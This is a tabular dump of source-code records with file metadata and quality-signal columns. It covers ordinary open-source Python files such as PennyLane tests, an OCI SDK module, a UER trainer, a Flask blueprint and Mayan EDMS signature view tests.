hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
43c5c82f0d30f3d649b39a18bf54ba0280e31723 | 24,563 | py | Python | tests/test_optimize_shot_adapative.py | jsmz97/pennylane | de7b7c0b452c8d59867d11f84b9c332a36e08ab1 | [
"Apache-2.0"
] | 712 | 2020-07-29T03:46:52.000Z | 2022-03-27T11:21:51.000Z | tests/test_optimize_shot_adapative.py | jsmz97/pennylane | de7b7c0b452c8d59867d11f84b9c332a36e08ab1 | [
"Apache-2.0"
] | 1,627 | 2020-07-28T13:07:58.000Z | 2022-03-31T21:47:29.000Z | tests/test_optimize_shot_adapative.py | jsmz97/pennylane | de7b7c0b452c8d59867d11f84b9c332a36e08ab1 | [
"Apache-2.0"
] | 249 | 2020-07-29T03:26:18.000Z | 2022-03-31T19:59:48.000Z | # Copyright 2018-2021 Xanadu Quantum Technologies Inc.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicabl... | 40.73466 | 108 | 0.615112 | 3,414 | 24,563 | 4.292326 | 0.087288 | 0.061417 | 0.04811 | 0.035485 | 0.83322 | 0.800328 | 0.784905 | 0.754129 | 0.732223 | 0.711819 | 0 | 0.034132 | 0.267638 | 24,563 | 602 | 109 | 40.802326 | 0.780477 | 0.178154 | 0 | 0.668449 | 0 | 0 | 0.054339 | 0.025928 | 0 | 0 | 0 | 0 | 0.251337 | 1 | 0.07754 | false | 0 | 0.010695 | 0.002674 | 0.13369 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
43c8f45280af218a5e2c76b7bece874129e4dcee | 29 | py | Python | notary/src/main/py/fun.py | LykkeCity/Notary | 416c2c11c73e9caaf23a7c3a8eaae30a090823d4 | [
"MIT"
] | null | null | null | notary/src/main/py/fun.py | LykkeCity/Notary | 416c2c11c73e9caaf23a7c3a8eaae30a090823d4 | [
"MIT"
] | null | null | null | notary/src/main/py/fun.py | LykkeCity/Notary | 416c2c11c73e9caaf23a7c3a8eaae30a090823d4 | [
"MIT"
] | 4 | 2015-12-15T20:16:05.000Z | 2020-09-08T07:29:51.000Z | def testfun(x):
return 42 | 14.5 | 15 | 0.655172 | 5 | 29 | 3.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 0.241379 | 29 | 2 | 16 | 14.5 | 0.772727 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
78f0c9acb93071c54dc7bc71bce03f92a7230b3c | 63 | py | Python | python_work/comment.py | lucas-jsvd/python_crash_course_2nd | 8404e7769bef7b90b9b0897996c3a3f969bb72bd | [
"Unlicense"
] | null | null | null | python_work/comment.py | lucas-jsvd/python_crash_course_2nd | 8404e7769bef7b90b9b0897996c3a3f969bb72bd | [
"Unlicense"
] | null | null | null | python_work/comment.py | lucas-jsvd/python_crash_course_2nd | 8404e7769bef7b90b9b0897996c3a3f969bb72bd | [
"Unlicense"
] | null | null | null | # Diga olá a todos.
print("Olá pessoal, bem vindo ao Python.")
| 21 | 42 | 0.698413 | 11 | 63 | 4 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.174603 | 63 | 2 | 43 | 31.5 | 0.846154 | 0.269841 | 0 | 0 | 0 | 0 | 0.75 | 0 | 0 | 0 | 0 | 0.5 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
78fa1e686c3f1b7355ad40c2bcc004d0b5f7fed1 | 16,689 | py | Python | src/oci/optimizer/optimizer_client_composite_operations.py | LaudateCorpus1/oci-python-sdk | b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | src/oci/optimizer/optimizer_client_composite_operations.py | LaudateCorpus1/oci-python-sdk | b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | src/oci/optimizer/optimizer_client_composite_operations.py | LaudateCorpus1/oci-python-sdk | b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | # coding: utf-8
# Copyright (c) 2016, 2022, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c... | 52.980952 | 245 | 0.695728 | 2,127 | 16,689 | 5.230842 | 0.104843 | 0.039008 | 0.049074 | 0.02265 | 0.802535 | 0.792198 | 0.777997 | 0.75337 | 0.726856 | 0.712835 | 0 | 0.00187 | 0.23105 | 16,689 | 314 | 246 | 53.149682 | 0.865113 | 0.480556 | 0 | 0.689394 | 0 | 0 | 0.027062 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.060606 | false | 0 | 0.015152 | 0 | 0.19697 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
6008228668b0bab258c034f839f244de14d542e4 | 27 | py | Python | app/__init__.py | Caledor/dl | fc5e9b6855afb40c4c499a70dfa0e0503e8c8f05 | [
"Apache-2.0"
] | 22 | 2020-04-04T17:34:16.000Z | 2021-09-25T00:22:23.000Z | app/__init__.py | Caledor/dl | fc5e9b6855afb40c4c499a70dfa0e0503e8c8f05 | [
"Apache-2.0"
] | 92 | 2020-04-04T15:30:34.000Z | 2022-03-24T01:43:11.000Z | app/__init__.py | Caledor/dl | fc5e9b6855afb40c4c499a70dfa0e0503e8c8f05 | [
"Apache-2.0"
] | 37 | 2020-04-16T02:47:07.000Z | 2021-03-28T23:18:50.000Z | from core.advbase import *
| 13.5 | 26 | 0.777778 | 4 | 27 | 5.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.148148 | 27 | 1 | 27 | 27 | 0.913043 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
6026594739b199b16837c69e13ca16b770855d61 | 105 | py | Python | nnlib/modules/recurrent.py | huzecong/nnlib | fd68abc51028444ce7c789642e2a7b8ed1853255 | [
"MIT"
] | 1 | 2019-01-08T03:55:23.000Z | 2019-01-08T03:55:23.000Z | nnlib/modules/recurrent.py | huzecong/nnlib | fd68abc51028444ce7c789642e2a7b8ed1853255 | [
"MIT"
] | null | null | null | nnlib/modules/recurrent.py | huzecong/nnlib | fd68abc51028444ce7c789642e2a7b8ed1853255 | [
"MIT"
] | null | null | null | # TODO: Implement a wrapper for RNNCells that supports: variational dropout, bidirectional RNNs & stuff.
| 52.5 | 104 | 0.8 | 13 | 105 | 6.461538 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 105 | 1 | 105 | 105 | 0.933333 | 0.971429 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 1 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
606084352725e7e7a9e21c7a2868a2dc74d8055e | 92 | py | Python | bh2err/__init__.py | BigPeet/vim-axivion-bauhaus | ed8e39b4e1c67d3c63011fc8c14733d8fe9d2c6f | [
"MIT"
] | 1 | 2021-03-12T14:29:13.000Z | 2021-03-12T14:29:13.000Z | bh2err/__init__.py | BigPeet/vim-axivion-bauhaus | ed8e39b4e1c67d3c63011fc8c14733d8fe9d2c6f | [
"MIT"
] | 21 | 2020-06-22T17:52:15.000Z | 2021-04-08T20:45:36.000Z | bh2err/__init__.py | BigPeet/vim-axivion-bauhaus | ed8e39b4e1c67d3c63011fc8c14733d8fe9d2c6f | [
"MIT"
] | null | null | null | from .convert import convert_file, convert_text
__all__ = ["convert_file", "convert_text"]
| 23 | 47 | 0.782609 | 12 | 92 | 5.333333 | 0.5 | 0.34375 | 0.5625 | 0.6875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108696 | 92 | 3 | 48 | 30.666667 | 0.780488 | 0 | 0 | 0 | 0 | 0 | 0.26087 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
606cec264ce9e6c62a5df3e99237895e94d3e237 | 131 | py | Python | stackhut_toolkit/common/exceptions.py | StackHut/StackHut | f199a4d3de4ddb9d9199412aa8473aae3d27d7f0 | [
"Apache-2.0"
] | 1 | 2015-11-09T07:51:21.000Z | 2015-11-09T07:51:21.000Z | stackhut_toolkit/common/exceptions.py | StackHut/StackHut | f199a4d3de4ddb9d9199412aa8473aae3d27d7f0 | [
"Apache-2.0"
] | 10 | 2015-10-12T17:20:33.000Z | 2015-11-09T14:16:12.000Z | stackhut_toolkit/common/exceptions.py | StackHut/StackHut | f199a4d3de4ddb9d9199412aa8473aae3d27d7f0 | [
"Apache-2.0"
] | null | null | null | # expose the barrister exceptions directly until other exceptions are needed
from .barrister.exceptions import ConfigError # NOQA
| 43.666667 | 76 | 0.832061 | 16 | 131 | 6.8125 | 0.8125 | 0.348624 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137405 | 131 | 2 | 77 | 65.5 | 0.964602 | 0.603053 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
60f5e5b9596014e869423114ad1337886e9da980 | 24,894 | py | Python | fastplm/uer/trainer.py | autoliuweijie/FastPLM | fc92a0a5c757b8f3bc7f1af32ade5137d705e031 | [
"MIT"
] | 2 | 2021-12-30T12:03:12.000Z | 2022-01-30T10:38:43.000Z | fastplm/uer/trainer.py | autoliuweijie/FastPLM | fc92a0a5c757b8f3bc7f1af32ade5137d705e031 | [
"MIT"
] | null | null | null | fastplm/uer/trainer.py | autoliuweijie/FastPLM | fc92a0a5c757b8f3bc7f1af32ade5137d705e031 | [
"MIT"
] | null | null | null | # -*- encoding:utf-8 -*-
import os
import sys
import time
import math
import torch
import torch.nn as nn
import torch.distributed as dist
import torch.multiprocessing as mp
from torch.nn.parallel import DistributedDataParallel
from uer.model_loader import load_model
from uer.model_saver import save_model
from uer.mod... | 33.459677 | 144 | 0.541014 | 2,931 | 24,894 | 4.360628 | 0.065848 | 0.039434 | 0.044754 | 0.021282 | 0.79047 | 0.784993 | 0.770206 | 0.758704 | 0.75088 | 0.738283 | 0 | 0.017124 | 0.354905 | 24,894 | 743 | 145 | 33.504711 | 0.778753 | 0.196674 | 0 | 0.751648 | 0 | 0 | 0.041099 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.017582 | false | 0 | 0.041758 | 0 | 0.059341 | 0.017582 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
71d755c7d002702b9e6089deb56a5591926d350d | 108 | py | Python | app/dashboard/__init__.py | michaelsatish/elphy | ac6c66c4b56b304dfd81c62ed5f50951ffc76779 | [
"MIT"
] | null | null | null | app/dashboard/__init__.py | michaelsatish/elphy | ac6c66c4b56b304dfd81c62ed5f50951ffc76779 | [
"MIT"
] | null | null | null | app/dashboard/__init__.py | michaelsatish/elphy | ac6c66c4b56b304dfd81c62ed5f50951ffc76779 | [
"MIT"
] | null | null | null | from flask import Blueprint
dashboard = Blueprint('dashboard', __name__)
from . import views # noqa
| 18 | 45 | 0.722222 | 12 | 108 | 6.166667 | 0.666667 | 0.486486 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.203704 | 108 | 5 | 46 | 21.6 | 0.860465 | 0.037037 | 0 | 0 | 0 | 0 | 0.092784 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
e0e190ac87c2ca7d7660f997ac4201e9a126386d | 1,255 | py | Python | data/make_testdata.py | hyliush/deep-time-series | 3fea4f62ea740c721c559a0d413e4b3a3e214b3e | [
"Apache-2.0"
] | 5 | 2022-03-19T10:32:29.000Z | 2022-03-29T00:50:30.000Z | data/make_testdata.py | hyliush/deep-time-series | 3fea4f62ea740c721c559a0d413e4b3a3e214b3e | [
"Apache-2.0"
] | 1 | 2022-03-22T07:52:08.000Z | 2022-03-22T07:55:28.000Z | data/make_testdata.py | hyliush/deep-time-series | 3fea4f62ea740c721c559a0d413e4b3a3e214b3e | [
"Apache-2.0"
] | 2 | 2022-03-19T21:07:39.000Z | 2022-03-23T09:24:30.000Z | import torch
freq_map = {'h':4, 't':5, 's':6, 'm':1, 'a':1, 'w':2, 'd':3, 'b':3, "10min":3}
def make_costumizeddata(batch_size, seq_len, label_len, pred_len, enc_in, dec_in, fd):
x_enc = torch.randn(batch_size, seq_len, enc_in)
x_mark_enc = torch.randn(batch_size, seq_len, fd)
x_dec = torch.randn(batch_size... | 50.2 | 86 | 0.722709 | 245 | 1,255 | 3.359184 | 0.163265 | 0.142163 | 0.126367 | 0.165249 | 0.856622 | 0.856622 | 0.856622 | 0.760632 | 0.760632 | 0.584447 | 0 | 0.010195 | 0.140239 | 1,255 | 24 | 87 | 52.291667 | 0.752549 | 0 | 0 | 0.227273 | 0 | 0 | 0.010359 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.136364 | false | 0 | 0.045455 | 0 | 0.318182 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e0f68d52028a8b8ec7ebcb877f0b944709e0a720 | 118 | py | Python | pycrybittrex/core/urlutils.py | namiazad/pycrybittrex | fce4dbfde112fd31b5ede0ff1432a4c3afeb3668 | [
"Apache-2.0"
] | null | null | null | pycrybittrex/core/urlutils.py | namiazad/pycrybittrex | fce4dbfde112fd31b5ede0ff1432a4c3afeb3668 | [
"Apache-2.0"
] | null | null | null | pycrybittrex/core/urlutils.py | namiazad/pycrybittrex | fce4dbfde112fd31b5ede0ff1432a4c3afeb3668 | [
"Apache-2.0"
] | null | null | null | from urllib.parse import urlencode
def url_params(params):
return "" if not params else "?" + urlencode(params)
| 19.666667 | 56 | 0.720339 | 16 | 118 | 5.25 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.177966 | 118 | 5 | 57 | 23.6 | 0.865979 | 0 | 0 | 0 | 0 | 0 | 0.008475 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
e0fcf5397f9432c28fab532cd8d3dc0577ea8687 | 41 | py | Python | plz/__init__.py | desh2608/plz | e394ffb73c8028236d6eb787b7f0df3f5ede0a20 | [
"Apache-2.0"
] | 4 | 2020-08-25T00:43:12.000Z | 2021-04-08T14:25:31.000Z | plz/__init__.py | desh2608/plz | e394ffb73c8028236d6eb787b7f0df3f5ede0a20 | [
"Apache-2.0"
] | 1 | 2021-09-16T08:09:32.000Z | 2021-09-16T18:59:25.000Z | plz/__init__.py | desh2608/plz | e394ffb73c8028236d6eb787b7f0df3f5ede0a20 | [
"Apache-2.0"
] | 2 | 2020-09-17T17:51:16.000Z | 2021-09-15T00:02:32.000Z | from .plz import run, map, setup_cluster
| 20.5 | 40 | 0.780488 | 7 | 41 | 4.428571 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.146341 | 41 | 1 | 41 | 41 | 0.885714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
46116cc1eaed2bc195bdace16936e80694325355 | 66 | py | Python | pyapa/__main__.py | keeferrourke/pyapa | 2fe3640db2558fab8251d3a14c5f41f62f0024b4 | [
"ISC"
] | null | null | null | pyapa/__main__.py | keeferrourke/pyapa | 2fe3640db2558fab8251d3a14c5f41f62f0024b4 | [
"ISC"
] | 7 | 2017-10-10T10:56:28.000Z | 2017-10-15T18:46:17.000Z | pyapa/__main__.py | keeferrourke/pyapa | 2fe3640db2558fab8251d3a14c5f41f62f0024b4 | [
"ISC"
] | 3 | 2017-10-10T16:17:46.000Z | 2022-03-29T10:53:20.000Z | import sys
from . import main
sys.exit(main.main(sys.argv[1:]))
| 11 | 33 | 0.69697 | 12 | 66 | 3.833333 | 0.583333 | 0.304348 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017544 | 0.136364 | 66 | 5 | 34 | 13.2 | 0.789474 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1cb61ce478e105bcc9075d759e5086e46815210a | 42 | py | Python | maps/bloody_puddles/__init__.py | 56kyle/bloons_auto | 419d55b51d1cddc49099593970adf1c67985b389 | [
"MIT"
] | null | null | null | maps/bloody_puddles/__init__.py | 56kyle/bloons_auto | 419d55b51d1cddc49099593970adf1c67985b389 | [
"MIT"
] | null | null | null | maps/bloody_puddles/__init__.py | 56kyle/bloons_auto | 419d55b51d1cddc49099593970adf1c67985b389 | [
"MIT"
] | null | null | null | from .bloody_puddles import BloodyPuddles
| 21 | 41 | 0.880952 | 5 | 42 | 7.2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.095238 | 42 | 1 | 42 | 42 | 0.947368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1cd36c2e7302ff181c5c5126e2ece58bb43133df | 4,212 | py | Python | mayan/apps/document_signatures/tests/test_signature_views.py | atitaya1412/Mayan-EDMS | bda9302ba4b743e7d829ad118b8b836221888172 | [
"Apache-2.0"
] | 343 | 2015-01-05T14:19:35.000Z | 2018-12-10T19:07:48.000Z | mayan/apps/document_signatures/tests/test_signature_views.py | atitaya1412/Mayan-EDMS | bda9302ba4b743e7d829ad118b8b836221888172 | [
"Apache-2.0"
] | 191 | 2015-01-03T00:48:19.000Z | 2018-11-30T09:10:25.000Z | mayan/apps/document_signatures/tests/test_signature_views.py | atitaya1412/Mayan-EDMS | bda9302ba4b743e7d829ad118b8b836221888172 | [
"Apache-2.0"
] | 257 | 2019-05-14T10:26:37.000Z | 2022-03-30T03:37:36.000Z | from mayan.apps.django_gpg.tests.mixins import KeyTestMixin
from mayan.apps.documents.tests.base import GenericDocumentViewTestCase
from mayan.apps.documents.tests.literals import TEST_SMALL_DOCUMENT_PATH
from ..permissions import permission_document_file_signature_view
from .mixins import DetachedSignatureTestMixin,... | 31.432836 | 76 | 0.712013 | 471 | 4,212 | 5.868365 | 0.133758 | 0.121563 | 0.086831 | 0.053184 | 0.828871 | 0.788712 | 0.788712 | 0.788712 | 0.788712 | 0.788712 | 0 | 0.007596 | 0.218661 | 4,212 | 133 | 77 | 31.669173 | 0.83227 | 0 | 0 | 0.691489 | 0 | 0 | 0.002612 | 0 | 0 | 0 | 0 | 0 | 0.138298 | 1 | 0.06383 | false | 0 | 0.053191 | 0 | 0.138298 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1c08f727861d10b5d0b9f57be591b0219c7f79f7 | 12,665 | py | Python | huaweicloud-sdk-projectman/huaweicloudsdkprojectman/v4/__init__.py | Adek06/huaweicloud-sdk-python-v3 | 3d13b27d089e04a1ae567cd649b3c5509e0391d2 | [
"Apache-2.0"
] | null | null | null | huaweicloud-sdk-projectman/huaweicloudsdkprojectman/v4/__init__.py | Adek06/huaweicloud-sdk-python-v3 | 3d13b27d089e04a1ae567cd649b3c5509e0391d2 | [
"Apache-2.0"
] | null | null | null | huaweicloud-sdk-projectman/huaweicloudsdkprojectman/v4/__init__.py | Adek06/huaweicloud-sdk-python-v3 | 3d13b27d089e04a1ae567cd649b3c5509e0391d2 | [
